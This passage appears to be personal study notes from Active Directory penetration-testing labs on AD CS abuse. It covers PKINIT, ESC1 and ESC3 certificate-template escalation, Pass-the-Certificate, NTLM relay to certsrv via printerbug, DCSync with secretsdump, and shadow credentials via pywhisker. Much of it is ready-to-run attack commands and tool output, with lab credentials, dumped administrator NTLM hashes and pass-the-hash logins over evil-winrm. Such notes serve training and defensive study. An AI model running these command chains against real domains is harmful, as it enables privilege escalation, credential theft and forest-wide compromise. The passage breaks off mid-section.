    • The CORP.LOCAL KDC verifies the certificate (trusts its own CA) and issues a TGT.
  2. 🎫 Request TGS for Remote Service (in SERVICES.LOCAL)
    • The user wants to access \\fileserver.services.local (hosted in the second forest).
    • The user presents their TGT to the KDC in CORP.LOCAL and asks for a TGS for SERVICES.LOCAL via the trust.
  3. 🔁 Cross-Forest Referral
    • CORP.LOCAL KDC refers the user to SERVICES.LOCAL via the trust.
    • The user now contacts the KDC in SERVICES.LOCAL, presenting a referral TGT.
  4. 🆗 TGS Issued in SERVICES.LOCAL
    • SERVICES.LOCAL KDC trusts CORP.LOCAL due to the forest trust.
    • It checks the referral TGT and issues a TGS for the CIFS service on the file server.
  5. 📂 Access Granted
    • The user presents the TGS to the file server.
    • Access is granted based on group membership and ACLs.

✅ Even though the user authenticated via certificate in their own forest, thanks to:

  • AD CS issuing valid certificates

  • PKINIT support

Cross-forest Kerberos trust

they were able to access a service in a different forest.


🧠 How AD CS Enables This

  • AD CS issues the user certificate with required EKUs (e.g., Smart Card Logon).

  • The certificate is trusted within CORP.LOCAL, and through cross-certification or forest trust, it can also be validated in SERVICES.LOCAL.

  • KDCs in both forests are configured to accept PKINIT requests.

🧠 Conceptual Advantages Explained:

  1. Stronger Security Model
  • Certificates use asymmetric cryptography: public/private key pairs.

  • The private key never leaves the client device (e.g., smart card, TPM).

  • This makes it extremely hard to steal credentials — unlike passwords which can be dumped or reused.


2. Phishing & Replay Attack Resistance

  • No password is entered or transmitted.

  • Even if someone tricks you into connecting to a fake service, your private key can’t be extracted, and signatures can’t be reused.


  1. Compliance & MFA Support
  • Certificate logon can be combined with:
    • Smart cards
    • Biometrics (Windows Hello for Business)
    • Hardware TPM
  • Helps organizations meet compliance requirements (e.g., for finance, healthcare, defense).

  1. Granular Control via AD CS
  • You can configure:
    • Which users/devices get which certificates
    • What purposes the certs can be used for (via EKUs)
    • Certificate expiration & auto-renewal
    • Revocation lists (CRL)

This gives more control than traditional password policies (which are often poorly enforced).


  1. No Credential Leakage Over the Network
  • Traditional Kerberos still uses password-derived secrets for the initial AS-REQ pre-auth (even if the TGT/TGS are secure).

  • Certificate-based authentication uses PKINIT, where identity is proven via digital signature, not password.


📌 Example: Real Scenario

Password-Based Logon (Weakness):

  • User logs in to a phishing page that mimics the corporate login portal.

  • The attacker captures their credentials.

  • These can be reused, dumped from memory, or used in pass-the-hash attacks.

Certificate-Based Logon (Strength):

  • User logs in using a smart card or TPM-stored certificate.

  • Even if the attacker tricks them, the private key is never exposed, and the certificate can’t be reused by an attacker.

📌 Summary Table

Term | Description |
— | — |
AD CS | Role to manage PKI and certificates in Active Directory |
CA | Issues and manages certificates |
Certificate | Proves identity and enables encryption/signing |
CSR | Request for certificate issuance |
Certificate Template | Blueprint defining usage, permissions, key lengths, EKUs |
EKU / OIDs | Define certificate purposes (e.g., logon, TLS) |
PKI | System of trust for managing public/private keys and certs |
Use Case | Wi-Fi auth, smart card login, VPN, TLS, email security |

Why AD CS is Dangerous in a Forest with Domain Trusts

  • Certificates issued by AD CS can be used instead of passwords for Kerberos/NTLM authentication.

  • If an attacker compromises AD CS in one domain, they can issue trusted certificates for:

    • Any user in that domain (including domain admins).
    • Other domains in the same forest, due to implicit trust and shared PKI trust.
  • This enables lateral movement and forest-wide compromise.


Key Abuses of AD-CS

1. Extract User and Machine Certificates

  • If attacker gains access to a user/machine with an issued certificate, they can export:
    • Private key from the certificate store.
    • Use it to authenticate without needing passwords.
  • Even if the password is reset later, certificate-based access remains valid until the cert expires/revoked → Persistence.

Example:

Attacker exports a workstation’s certificate and uses it to authenticate via RDP or LDAP, bypassing password policies.


2. Use Certificates to Retrieve NTLM Hash

  • Certificates can be used for Kerberos PKINIT (smart card logon).

  • Once authenticated, attackers can:

    • Request NTLM hashes from DC (via PKINIT-to-NTLM relay attacks).
    • Perform NTLM relay attacks (e.g., against LDAP or LDAPS).

Impact:

This allows hash theft and relay attacks even when passwords are strong.


3. User and Machine Level Persistence

  • Certificates = long-term authentication tokens.

  • Even if a user changes their password, an attacker holding a valid certificate can still Log in, Access resources, Request Kerberos TGTs (via PKINIT) until certificate expires.

Impact:

Attacker maintains stealthy persistence in the environment without relying on password theft.


4. Escalation to Domain Admin & Enterprise Admin

  • Misconfigured certificate templates can allow low-privileged users to:
    • Request certificates for high-privilege accounts (ESC1/ESC2 attacks).
    • Enroll as a domain controller certificate (ESC3).
  • With a domain controller certificate:
    • Attacker can perform DCSync (replicate NTDS.dit, extract all hashes).
  • From one domain, they can:
    • Abuse forest trust to move to the root domain.
    • Become Enterprise Admin.

5. Domain Persistence

  • Once attacker controls AD CS CA:
    • They can issue any certificate for any identity in the forest.
    • They can backdoor CA to silently issue new certs at will.
  • Even if defenders reset passwords, rebuild servers, or remove malware:
    • Attacker can re-enter via their rogue certs.

Example Cross-Domain Attack Path

  1. Compromise low-privileged user in Child Domain.

  2. Abuse vulnerable certificate template (ESC1) to get a certificate for Domain Admin in child domain.

  3. Use that cert to:

    • DCSync child domain.
    • Extract trust keys to Parent/Root Domain.
  4. Forge inter-realm TGTs → access Forest Root Domain.

  5. Use AD CS in root to issue Enterprise Admin cert.

  6. Gain permanent forest-wide access.


Why This Is Critical

  • AD CS effectively turns Active Directory passwordless.

  • If one CA or misconfigured template is compromised in any domain, the entire forest trust model collapses.

  • Persistence is extremely hard to remove unless CA is fully rebuilt.

How User gets valid Certificate and TGT from it ??

🧪 Lab Scenario (Concrete Setup)

👤 User


lowuser@corp.local

Member of: Domain Users

🖥️ CA Server


CA Name: corp-CA

Type: Enterprise CA

Published in AD:

CN=corp-CA,CN=Enrollment Services,...

📄 Vulnerable Template (Key Part)

Template: VulnTemplate

🔧 Configuration (THIS is what matters)

Setting | Value | Why it matters |
— | — | — |
Enrollment Rights | Domain Users | lowuser can request cert |
msPKI-Certificate-Name-Flag | ENROLLEE_SUPPLIES_SUBJECT | user controls identity |
EKU | Client Authentication | can be used for login |
Manager Approval | Disabled | auto-issued |
Authorized Signatures | 0 | no approval needed |

🔥 PHASE 1 — Certificate Request (WITH SETTINGS)


🧩 Step 1: Key Pair Generation


lowuser → generates public/private key

(No ADCS setting involved here)


📩 Step 2: CSR Creation

lowuser creates request:


Template: VulnTemplate

SAN: administrator@corp.local   ← attacker-controlled

Public Key: included

📤 Step 3: Send CSR to CA


lowuser → corp-CA

🔍 Step 4: CA Evaluates Request (CRITICAL LOGIC)

Now CA checks template settings:


✔️ Check 1: Enrollment Permission


Template ACL:

Domain Users → Enroll ✅

✔️ lowuser allowed


✔️ Check 2: Subject Control


msPKI-Certificate-Name-Flag = ENROLLEE_SUPPLIES_SUBJECT

👉 This allows:


lowuser → request SAN = administrator@corp.local

❗ No validation of ownership


✔️ Check 3: Approval Requirement


Manager Approval = Disabled

Authorized Signatures = 0

👉 Certificate is auto-issued


✔️ Check 4: EKU


EKU = Client Authentication

👉 Certificate can be used for login later


✍️ Step 5: CA Issues Certificate


corp-CA → signs certificate

Certificate now contains:


Subject: (can be empty or arbitrary)

SAN: administrator@corp.local   🔥

EKU: Client Authentication

Issuer: corp-CA

📥 Step 6: lowuser Receives Certificate

lowuser now has:

  • Certificate (signed by CA)

  • Private key

🔐 PHASE 2 — Certificate Validation (WITH SETTINGS)


📩 Step 7: Use Certificate

lowuser → presents certificate


🔍 Step 8: Trust Validation

✔️ Check CA Trust

From AD:

CN=NTAuthCertificates

corp-CA present → trusted ✅


🔏 Step 9: Signature Validation

  • Certificate signed by corp-CA

  • Verified using CA public key

Valid signature ✅


⏳ Step 10: Validity Check

Not expired ✅


🚫 Step 11: Revocation Check

Not revoked ✅


🧠 Step 12: Identity Mapping (CRITICAL)

From certificate:

SAN = administrator@corp.local

System searches AD:

userPrincipalName=administrator@corp.local

✔️ Match found → Administrator account


🔑 Step 13: EKU Check

EKU = Client Authentication ✅


🔐 Step 14: Private Key Proof

  • lowuser proves possession of private key

🎟️ FINAL RESULT


System accepts certificate as Administrator

→ TGT issued as Administrator

🔥 FULL FLOW (WITH SETTINGS INLINE)


1. Template allows:

     - Domain Users enroll

     - ENROLLEE_SUPPLIES_SUBJECT

     - Client Authentication

     - No approval

2. lowuser sends CSR:

     SAN = administrator@corp.local

3. CA checks:

     → Permission ✅

     → Subject allowed ✅

     → No approval needed ✅

4. CA signs cert:

     SAN = administrator@corp.local

5. Validation:

     → CA trusted ✅

     → Signature valid ✅

     → SAN maps to Administrator ✅

6. Result:

     → lowuser becomes Administrator

🧠 Why Each Setting Matters (Quick Mapping)

Setting | Attack Impact |
— | — |
Enroll permission | Entry point |
ENROLLEE_SUPPLIES_SUBJECT | Identity spoofing |
Client Authentication EKU | Allows login |
No approval | Immediate exploitation |

🎯 Final One-Line Understanding

If a template lets you control identity and get a client-auth cert, the CA will sign it and the system will trust it as that identity.

Pass The Certificate

🔐 1. Core Concept

Pass-the-Certificate (PtC) = using a certificate + private key to authenticate as a user without knowing their password.


🔑 2. Key Requirement (MOST IMPORTANT)

✔️ You MUST have:

Certificate + Private Key

📦 Certificate Formats

Format | Contains | Usable for PtC? |
— | — | — |
.crt / .cer | Certificate only | ❌ No |
.key | Private key only | ❌ No |
.pem | Cert + Key (sometimes) | ✅ Yes |
.pfx / .p12 | Cert + Private key + password | ✅ YES |

🎯 Important Rule

No Private Key = No Authentication

🌐 3. Protocols Used in PtC

🔐 A. Kerberos (PKINIT)

Uses:

  • Kerberos

Purpose:

  • Get TGT

Flow:


Certificate + Private Key → PKINIT → KDC → TGT

🔐 B. Schannel (TLS Authentication)

Uses:

  • TLS

Purpose:

  • LDAP / SMB authentication

Flow:


Certificate → TLS handshake → LDAP bind

⚙️ 4. Prerequisites

Environment:

  • AD Domain (Windows Server 2016+ / 2019+)

  • ADCS configured

  • CA trusted in:


CN=NTAuthCertificates

Attacker Needs:

  • .pfx file of target user (e.g., Administrator)

  • OR:

    • .crt + .key

🔥 5. How Attacker Gets .pfx

🧪 Method 1: ADCS Abuse (ESC1)


lowuser → requests cert as admin → gets admin.pfx

🧪 Method 2: Export from System


certmgr.msc → export → .pfx

(If exportable)


🧪 Method 3: DPAPI / Credential Dump

Tools:

  • Mimikatz

  • Certipy

🔄 6. Practical Example (Full Attack Flow)

🎯 Scenario


You have:

administrator.pfx

Password: Pass@123

Domain: corp.local

DC: 10.10.10.10

🧪 Step 1: Extract Certificate & Key (Optional)


certipy-ad cert-pfx administrator.pfx -nokey-out admin.crt

certipy-ad cert-pfx administrator.pfx -nocert-out admin.key

👉 Only needed for tools like passthecert.py


🧪 Step 2: Use PKINIT to Get TGT

Using Certipy:


certipy-ad auth-pfx administrator.pfx -dc-ip 10.10.10.10

🔍 What Happens Internally:


1. Certificate sent to KDC

2. KDC validates:

   - CA trust

   - Signature

   - SAN → administrator

3. TGT issued

🎟️ Output:


[*] Got TGT for administrator

[*] Saved credential cache

🧪 Step 3: Use TGT (Lateral Movement)

Example:


impacket-psexec corp.local/administrator@10.10.10.10-k-no-pass

🧪 Step 4: Schannel Authentication (LDAP)

Using passthecert:


python3 passthecert.py \

-crt admin.crt \

-key admin.key \

-dc-ip10.10.10.10 \

-domain corp.local

🔍 What Happens:


1. TLS handshake

2. Certificate presented

3. LDAP bind as Administrator

🔥 7. Why PtC is Dangerous

❌ Bypasses:

  • Passwords

  • MFA (in many cases)

  • Account lockout

⏳ Persistence:


Cert valid for months/years

🕵️ Stealth:

  • No password logs

  • Looks like legitimate cert auth

🔗 8. Relation to Other Attacks

Attack | Credential Used |
— | — |
Pass-the-Hash | NTLM hash |
Pass-the-Ticket | Kerberos ticket |
Pass-the-Certificate | Cert + Private key |

🧠 9. Critical Understanding


System does NOT check:

"Who requested the cert?"

It only checks:

"Is this cert valid and trusted?"

🎯 Final Flow (One View)


[GET CERT]

lowuser → ADCS → administrator.pfx

[USE CERT]

administrator.pfx → PKINIT → TGT

[ACCESS]

TGT → service access (psexec / smb / ldap)

✅ Final One-Line Summary

Pass-the-Certificate works by using a valid certificate and its private key to authenticate via Kerberos (PKINIT) or TLS (Schannel), allowing full access without needing a password.

Windows PoC

Priv Esc - Across domain trusts - AD CS

Commads:-

🔧 What is Certify?

Certify is a post-exploitation tool from GhostPack (the same creators of Rubeus, Seatbelt, etc.).

It is used to enumerate, assess, and abuse AD CS configurations in a Windows domain, especially by red teamers and attackers.


  1. list all Certificate Authorities (CAs) in the current domain/forest.

Certify.exe cas

🔎 What you get:

  • The hostname of each CA server

  • The CA name

  • If it’s online or offline

  • Whether enrollment is enabled

  • Basic info like CA DNS name, cert validity, etc.

📌 Why it’s important:

You need to know which CAs exist in the domain before you can assess or exploit certificate templates or misconfigurations.

Now, to abuse any kind of attack, following setting should always be enabled, however by default it is always enabled.

This setting(first row) allows normal user to interact(enroll for certificate) from the CA, however next 3 rows are for privilege users


  1. Enumerating all certificate templates that are published by the CA(s).

 Certify.exe find

✅ Purpose:

This command enumerates all certificate templates that are published by the CA(s).

🔎 What you get:

  • Template name (e.g., User, WebServer, MachineAuth)

  • Who can enroll (users/groups)

  • Allowed authentication types

  • Template settings (e.g., Can it be used for client authentication?)

  • EKUs (Extended Key Usages)

  • Auto-enrollment status

  • Whether the template allows user-supplied Subject Alternative Name (SAN)

📌 Why it’s important:

This helps identify what types of certificates users and machines can request. Some templates may be insecurely configured, allowing abuse.


  1. Searching for vulnerable certificate templates that can be abused for privilege escalation or impersonation.

 Certify.exe find /vulnerable

Note:- This command only shows those template where normal identity(specific user) has enrollment rights

🔎 What you get:

Certify flags templates that meet known vulnerability criteria, such as:

Misconfiguration | Risk |
— | — |
ESC1 | Users can request certs with Client Authentication and supply arbitrary SAN |
ESC2 | Template allows enrollment by low-privileged users and issues certs for logon |
ESC3 | Enrollment agent abuse |
ESC6 | The template allows cert issuance for any user |
… | … |

It will output:

  • Template name

  • Why it’s vulnerable (e.g., ESC1/ESC6/etc.)

  • Who can enroll

  • Key usage and EKUs

  • If you can supply custom SAN

📌 Why it’s important:

This is the most important command for identifying paths to domain privilege escalation via AD CS.

The above templete(HTTPSCertificate) is vulnerabile to ENROLLE_SUPPLIES_SUBJECT which belongs to ESC1, which allows to request certificate for any user(including domain admins) for HTTPSCertificate . This request can be made any user who belongs to RDPUser group(all the student user by default belongs to this group) and this certificate can be used for client authentication(mentioned in pkiextendedkeyusage) i.e TGT can be requested for any user.


In the Moneycorp environment, AD CS has multiple misconfigurations that allow escalation using ESC1 and ESC3 attack paths. The common issues include:

  • 🔓 Low-privileged users are allowed to enroll for certificates (both at the CA level and template level).

  • No manager approval is required to issue certificates(usually true for most of the templates).

  • 🚫 No authorization signatures are needed.

  • 📄 The target certificate templates are insecurely configured to allow low-privileged users to request certs.


These misconfigs make it easy for attackers to request certificates that can be used for privilege escalation or impersonation within the domain.

🔐 Summary of Escalation Techniques Used

There are two primary attack paths shown here:

  • ESC3 – Abuse of Certificate Request Agent template to enroll on behalf of another user (e.g., Domain Admin).

  • ESC1 – Abuse of templates that allow enrollees to supply subject names (SANs) to impersonate privileged users.

Let’s go step-by-step:


🔥 BACKGROUND: AD CS + Cross-Domain Trust

You’re in a forest like dcorp.local and trying to escalate privileges across a trust into moneycorp.local. The target (moneycorp) has vulnerable certificate templates and CA configuration, allowing you to request certificates that impersonate high-privileged users like Domain Admins (DA) or Enterprise Admins (EA).


🔓 ESC3 — Exploiting Certificate Request Agent Misconfiguration

🧩 Vulnerability:

  • The SmartCardEnrollment-Agent template allows low-privileged users to enroll for agent certificates (intended to request certs on behalf of others).

  • No manager approval or extra signatures required.

  • The SmartCardEnrollment-Users template allows Smartcard-style logon certificates to be requested on behalf of other users.

➤ STEP 1: Request a Certificate Request Agent cert


Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Agent
  • You request a certificate from the CA using the SmartCardEnrollment-Agent template.

  • This gives you a cert that lets you act on behalf of other users.

You receive: cert.pem (certificate file)

➤ STEP 2: Convert the certificate to PFX

Convert cert.pem + private key into esc3agent.pfx (this format is required by Rubeus and Certify)


openssl pkcs12 -export -out esc3agent.pfx -inkey key.pem -in cert.pem

This certificate can now be used to request certificates on behalf of others.

➤ STEP 3: Request a certificate for Domain Admin (DA) using your agent cert


Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA \

/template:SmartCardEnrollment-Users \

/onbehalfof:dcorp\administrator \

/enrollcert:esc3agent.pfx \

/enrollcertpw:SecretPass@123
  • You impersonate the DA (dcorp\administrator)

  • You use your agent cert (esc3agent.pfx) to make the request

  • This gives you a certificate for the DA account.

You receive: cert.pem → Convert to esc3user-DA.pfx

➤ STEP 4: Request a TGT (Kerberos Ticket) for DA


Rubeus.exe asktgt /user:administrator /certificate:esc3user-DA.pfx /password:SecretPass@123 /ptt
  • You now get a TGT for DA using the certificate.

  • /ptt = Pass The Ticket — it directly injects the ticket into your session.

🎯 You are now Domain Admin.


🔥 Escalation to Enterprise Admin (EA) (Same concept)


Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA \

/template:SmartCardEnrollment-Users \

/onbehalfof:moneycorp.local\administrator \

/enrollcert:esc3agent.pfx \

/enrollcertpw:SecretPass@123

Then:


Rubeus.exe asktgt /user:moneycorp.local\administrator \

/certificate:esc3user.pfx /dc:mcorp-dc.moneycorp.local \

/password:SecretPass@123 /ptt

🎯 You now impersonate EA from moneycorp domain.


🔥 ESC1 — Enrollee Supplies Subject Misconfiguration

🧩 Vulnerability:

  • HTTPSCertificates template has ENROLLEE_SUPPLIES_SUBJECT flag set (meaning: you can specify any subject, including a different user).

  • Normal users can enroll and supply /altname:administrator

➤ STEP 1: Find the template


Certify.exe find /enrolleeSuppliesSubject

This shows HTTPSCertificates is vulnerable.

➤ STEP 2: Request a certificate for administrator


Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA \

/template:"HTTPSCertificates" /altname:administrator
  • As a low-priv user (e.g., studentx), you request a certificate for the administrator

  • Because of misconfig, CA allows it.

Result: You get cert.pem → Convert to esc1.pfx

➤ STEP 3: Use Rubeus to get DA TGT


Rubeus.exe asktgt /user:administrator /certificate:esc1.pfx \

/password:SecretPass@123 /ptt

🎯 You are now DA.


📌 Summary Table

Attack | Misconfig | Tools | Priv Gained |
— | — | — | — |
ESC1 | Enrollee supplies subject | Certify + Rubeus | DA/EA |
ESC3 | Request agent can request on behalf | Certify + Rubeus | DA/EA |

Let me know if you want diagrams or simplified step-by-step flow!


🧠 Why This Works

These attacks succeed because of:

  • Misconfigured certificate templates (allowing low-priv users to enroll or impersonate).

  • No need for manager approval or authorization.

  • Certificates are accepted by the KDC for Kerberos authentication (PKINIT).


Exploitation Scenario:

Part one has been already cover above where we have found HTTPSCertificate template is vulnerable to ESC1

Covering Part2:-

If we want look for specific template like ENROLLEE_SUPPLIES_SUBJECT which is ESC1, then we run following command;


 Certify.exe find /enrolleeSuppliesSubject

After running the command we will get many template but we have look for only those template where we have enrollment rights, for above example enrollment right only belongs to Domain Admins so we will skip this.

for above template we have enrollment right so we will target this template. As the student users are part of RDPusers group.

pkiextendedkeyusage - this attributes tells for what purpose this certificate can be used for

by abusing this templete we can request from HTTPSCertificates for any user(even for domain admins) and use that certificate for client authentication i.e request TGT for that user.

Step1:- Requesting Certificate


C:\AD\Tools\Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA 

/template:"HTTPSCertificates" /altname:administrator

Same as above:-

C:\AD\Tools\Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:"HTTPSCertificates" /altname:administrator

This request certificate for HTTPSCertificates for administrator as a normal rdpuser(student).

copy this certificate and save to a text file with extension .pem

Step2:- Converting file from .pem to .pfx

Now you tool suggests that use openssl to convert file from .pem to .pfx

Run the following command for converting .pem file to .pfx using openssl.

Convert cert.pem + private key into esc3agent.pfx (this format is required by Rubeus and Certify)


C:\AD\Tools\openssl\openssl.exe pkcs12 -in <Path_to_save_file> -keyex  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out <path_and_filename>

Example:-

C:\AD\Tools\openssl\openssl.exe pkcs12 -in C:\AD\Tools\esc1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out C:\AD\Tools\esc1-DA.pfx

and it will ask for password, use any password but remember it.

Step3:- Using rubeus to request TGT of administrator:


C:\AD\Tools\Rubeus.exe asktgt /user:administrator /certificate:C:\AD\Tools\esc1.pfx /password:pass@123 /ptt

pass@123  -> is the password which we set while converting the file in previous step

Running klist to verify whether the TGT has been successfully imported into current user session:

Now we can access any service on behalf of domain administrator.


winrs -r:dcopr-dc cmd /c set username

Now requesting certificate of enterprise admin:

the only difference in command is that we are specifying that we are requesting certificate for forest administrator which is enterprise admin(*altname:)


Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA \

/template:"HTTPSCertificates" /altname:moneycorp.local\administrator

From here on wards all the steps are same as previous one.

convert file from .pem to .pfx

Requesting TGT for enterprise administrator.


Rubeus.exe asktgt /user:<forestname>\administrator /dc:<dc-name> /certificate:esc1.pfx \

/password:SecretPass@123 /ptt

here just you have to specify for which administrator you are request tgt and its domain controller

Pass the Certificate

Step 1 - access the certificate server

http://10.129.234.172/certsrv/certfnsh.asp

wwhite:package5shores_topher1

Step 2 - start the listener using ntmlrelayx

impacket-ntlmrelayx -t http://10.129.234.172/certsrv/certfnsh.asp –adcs -smb2support –template KerberosAuthentication

Step 3 - Trigger Authentication for getting the dc certificate

python3 printerbug.py INLANEFREIGHT.LOCAL/wwhite:“package5shores_topher1”@10.129.234.174 10.10.17.180

Step 4 - ask for TGT for domain machine using the valid domain certificate

python3 gettgtpkinit.py -cert-pfx DC01$.pfx -dc-ip 10.129.234.174 ‘inlanefreight.local/dc01$’ /tmp/dc.ccache


2025-07-07 10:11:15,603 minikerberos INFO     Loading certificate and key from file

INFO:minikerberos:Loading certificate and key from file

2025-07-07 10:11:16,115 minikerberos INFO     Requesting TGT

INFO:minikerberos:Requesting TGT

2025-07-07 10:11:28,449 minikerberos INFO     AS-REP encryption key (you might need this later):

INFO:minikerberos:AS-REP encryption key (you might need this later):

2025-07-07 10:11:28,453 minikerberos INFO     4e998cf4ad0dd1e7b7a4e49457d8d727e736bccfdf069e9902271ab66a2c0e18

INFO:minikerberos:4e998cf4ad0dd1e7b7a4e49457d8d727e736bccfdf069e9902271ab66a2c0e18

2025-07-07 10:11:28,463 minikerberos INFO     Saved TGT to file

INFO:minikerberos:Saved TGT to file

Step 5 - export the TGT from the tmp file

export KRB5CCNAME=/tmp/dc.ccache

Step 6 - check on env whether its set or not

Step 7 - use klist for checking current TGT user

klist

Step 8 - add it on hosts file

Step 9 - since we have the domain machine TGT we can now ask for administrator credentials ( hashes )

impacket-secretsdump -k -no-pass -dc-ip 10.129.234.174 -just-dc-user Administrator ‘INLANEFREIGHT.LOCAL/DC01$’@DC01.INLANEFREIGHT.LOCAL


[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:fd02e525dd676fd8ca04e200d265f20c:::

[*] Kerberos keys grabbed

Administrator:aes256-cts-hmac-sha1-96:ec2223ff4c0bce238aa04d30be0fe9e634495f9449c0c25307c66d7c12d8f93a

Administrator:aes128-cts-hmac-sha1-96:ffb8855b50dd1bf538c8001620c4f1d1

Administrator:des-cbc-md5:a1f262b50b64c46b

Step 10 - RBCD Chain attack

python3 pywhisker.py –dc-ip 10.129.234.174 -d INLANEFREIGHT.LOCAL -u wwhite -p ‘package5shores_topher1’ –target jpinkman –action add


[*] Searching for the target account

[*] Target user found: CN=Jesse Pinkman,CN=Users,DC=inlanefreight,DC=local

[*] Generating certificate

[*] Certificate generated

[*] Generating KeyCredential

[*] KeyCredential generated with DeviceID: c8ea8798-6e42-4da0-da0d-9ae6ef71aefe

[*] Updating the msDS-KeyCredentialLink attribute of jpinkman

[+] Updated the msDS-KeyCredentialLink attribute of the target object

[*] Converting PEM -> PFX with cryptography: zyo2wrxR.pfx

[+] PFX exportiert nach: zyo2wrxR.pfx

[i] Passwort für PFX: tHzcNOe5sojsKP5eCE8n

[+] Saved PFX (#PKCS12) certificate & key at path: zyo2wrxR.pfx

[*] Must be used with password: tHzcNOe5sojsKP5eCE8n

[*] A TGT can now be obtained with [https://github.com/dirkjanm/PKINITtools](https://github.com/dirkjanm/PKINITtools)

Step 11 - get TGT of jpinkman user

python3 gettgtpkinit.py -cert-pfx zyo2wrxR.pfx -pfx-pass ‘tHzcNOe5sojsKP5eCE8n’ -dc-ip 10.129.234.174 INLANEFREIGHT.LOCAL/jpinkman /tmp/jpinkman.ccache

Step 12 - export the TGT and check using klist

export KRB5CCNAME=/tmp/jpinkman.ccache

klist

Step 13 - make changes in the /etc/krb5.conf file

Step 14 - login using winrm tool for accessing jpinkman account

evil-winrm -i dc01.inlanefreight.local -r inlanefreight.local

Step 15 - login to admin using its hash found earlier

evil-winrm -i 10.129.234.174 -u Administrator -H fd02e525dd676fd8ca04e200d265f20c

Pass the Certificate Working

🧭 Step-by-Step Guide

✅ Step 1: Identify Roles of IPs

From your context:

  • 10.129.234.109 = DC (Domain Controller)

  • 10.129.234.110 = AD CS Web Enrollment (CertSrv)

You’ll need to relay auth from the DC to the CA server to request a machine certificate.


✅ Step 2: Start NTLM Relay with ntlmrelayx


bash

CopyEdit

impacket-ntlmrelayx -t http://10.129.234.110/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication

Keep this window running — it waits for an incoming NTLM authentication to relay.


✅ Step 3: Trigger Authentication using printerbug.py


bash

CopyEdit

python3 printerbug.py INLANEFREIGHT.LOCAL/wwhite:"package5shores_topher1"@10.129.234.109 10.10.16.12
  • 10.10.16.12 is your attacker IP (running ntlmrelayx).

  • If successful, ntlmrelayx will:

    • Relay DC01$’s auth to the CA server.
    • Request and obtain a certificate for DC01$.
    • Save it as DC01$.pfx.

✅ Step 4: Extract TGT Using gettgtpkinit.py

Install PKINITtools if not done already:


bash

CopyEdit

git clone https://github.com/dirkjanm/PKINITtools.git

cd PKINITtools

python3 -m venv .venv && source .venv/bin/activate

pip3 install -r requirements.txt

Then run:


bash

CopyEdit

python3 gettgtpkinit.py -cert-pfx ../DC01\$.pfx -dc-ip 10.129.234.109 'inlanefreight.local/dc01$' /tmp/dc.ccache

This gives you a valid TGT for the DC01$ machine account.


✅ Step 5: DCSync Attack to Get Administrator Hash


bash

CopyEdit

export KRB5CCNAME=/tmp/dc.ccache

impacket-secretsdump -k -no-pass -dc-ip 10.129.234.109 -just-dc-user Administrator 'INLANEFREIGHT.LOCAL/DC01$'@DC01.INLANEFREIGHT.LOCAL

This should give you the NTLM hash of Administrator. Save it for later access.


✅ Step 6: Shadow Credential Attack on jpinkman


bash

CopyEdit

pywhisker --dc-ip 10.129.234.109 -d INLANEFREIGHT.LOCAL -u wwhite -p 'package5shores_topher1' --target jpinkman --action add

This command:

  • Generates a certificate.

  • Modifies jpinkman’s msDS-KeyCredentialLink attribute.

  • Outputs eFUVVTPf.pfx and password.


✅ Step 7: Get TGT for jpinkman


bash

CopyEdit

python3 gettgtpkinit.py -cert-pfx ../eFUVVTPf.pfx -pfx-pass 'bmRH4LK7UwPrAOfvIx6W' -dc-ip 10.129.234.109 INLANEFREIGHT.LOCAL/jpinkman /tmp/jpinkman.ccache

✅ Step 8: Access jpinkman’s Desktop via Evil-WinRM

Make sure your /etc/krb5.conf is configured properly with:


ini

CopyEdit

[libdefaults]

    default_realm = INLANEFREIGHT.LOCAL

    dns_lookup_realm = false

    dns_lookup_kdc = true

Export the ticket and access the machine:


bash

CopyEdit

export KRB5CCNAME=/tmp/jpinkman.ccache

evil-winrm -i dc01.inlanefreight.local -r inlanefreight.local

Inside the shell:


powershell

CopyEdit

cd ..\Desktop

type flag.txt

✅ Submit the flag for jpinkman.


✅ Step 9: Access Administrator’s Flag

Now use evil-winrm with the NTLM hash obtained earlier.


bash

CopyEdit

evil-winrm -i dc01.inlanefreight.local -u Administrator -H <NTLM_HASH>

Then:


powershell

CopyEdit

cd C:\Users\Administrator\Desktop

type flag.txt

✅ Submit the flag for Administrator.

Shadow Key Credentials Attack

Understanding The Working

🔐 Introduction to Kerberos Authentication

  • Active Directory uses Kerberos (trusted authentication protocol)

  • ✔️ Verifies identity of users and services

  • ✔️ Uses tickets (avoids sending passwords over network)


🔑 Symmetric Encryption in Kerberos

📌 Traditional Kerberos uses symmetric encryption

🔄 Authentication Flow

1️⃣ AS-REQ (Authentication Service Request)

  • Client → KDC

  • Includes:

    • ⏱️ Timestamp
    • 🔒 Encrypted using key derived from user’s password

2️⃣ AS-REP (Authentication Service Response)

  • KDC:
    • ✔️ Validates timestamp using stored hash
    • 🎟️ Issues TGT (Ticket Granting Ticket)
    • 🔐 Encrypted with KDC’s secret key

3️⃣ TGS-REQ & TGS-REP

  • Client uses TGT

  • Requests access to service

  • KDC returns:

    • 🎫 Service Ticket

⚠️ Limitation

  • ❌ Depends on shared secrets (passwords)

  • ❌ Not suitable for PKI-based authentication (e.g., smart cards)


🔐 Asymmetric Encryption with PKINIT

📌 PKINIT (Public Key Cryptography for Initial Authentication)

  • Extension of Kerberos

  • ✔️ Uses public-private key pairs

  • ✔️ Removes dependency on passwords


🪪 PKINIT Certificate Authentication

  • Uses:
    • 📜 X.509 Certificate
    • 🔑 Private Key
  • ✔️ KDC directly validates the certificate

🔗 PKINIT Key Trust

  • Uses:
    • 🧾 msDS-KeyCredentialLink attribute in AD
  • ✔️ Stores public keys linked to user

🔄 Working Flow

1️⃣ AS-REQ with PKINIT

  • Client → KDC

  • Includes:

